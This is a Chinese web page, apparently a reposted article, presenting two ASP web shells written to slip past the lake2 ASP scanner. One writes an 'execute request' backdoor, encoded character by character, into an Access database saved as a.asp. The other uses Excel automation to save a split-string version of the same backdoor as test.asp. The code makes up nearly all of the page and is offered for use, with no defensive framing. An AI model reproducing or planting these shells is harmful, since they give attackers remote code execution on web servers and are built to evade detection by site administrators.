注册
登录
| 关键词： chrB asc Server CreateObject xlWorksheet set ASP MapPath nothing conn |
两个非常规ASP木马hanxiaolian 为了躲避 lake2 ASP站长管理助手而写.. 一.绕过lake2 Asp木马扫描的小马〈%set c = CreateObject("ADOX.Catalog") c.create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("a.asp"))set c = Nothingc&Server.MapPath("a.asp")set conn=server.createobject("Adodb.Connection")conn.open connstrconn.execute("create table nomm(nomuma oleobject)")set rs=server.createobject("adodb.recordset")sql="SELECT * FROM nomm"rs.open sql,conn,1,3rs.addnewrs ("nomuma").appendchunk(chrB(asc("〈"))&chrB(asc("%"))&chrB(asc ("e"))&chrB (asc("x"))&chrB(asc("e"))&chrB(asc("c"))&chrB(asc ("u"))&chrB(asc("t"))&chrB(asc ("e"))&chrB(asc("+"))&chrB(asc ("r"))&chrB(asc("e"))&chrB(asc("q"))&chrB(asc ("u"))&chrB(asc ("e"))&chrB(asc("s"))&chrB(asc("t"))&chrB(asc("("))&chrB(34) &chrB(asc("q"))&chrB(34)&chrB(asc(")"))&chrB(asc("%"))& chrB(asc("〉")))rs.updaters.closeset rs=nothingconn.closeset conn=nothing%〉 二.xls版asp webshell 〈%Set xlA = Server.CreateObject("Excel.Application") xlA.Visible = False xlA.Workbooks.Add Set xlWorksheet = xlA.Worksheets(1) xlWorksheet.Cells(1,1).Value = "〈%ex"&"ec"&"ute(request(""q""))"+chr(37)+"〉" ’strFile = "d:/test.asp"strFile = Server.MapPath("test.asp")xlWorkSheet.SaveAs strFilexlA.Quit Set xlWorksheet = Nothing Set xlA = Nothing %〉 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
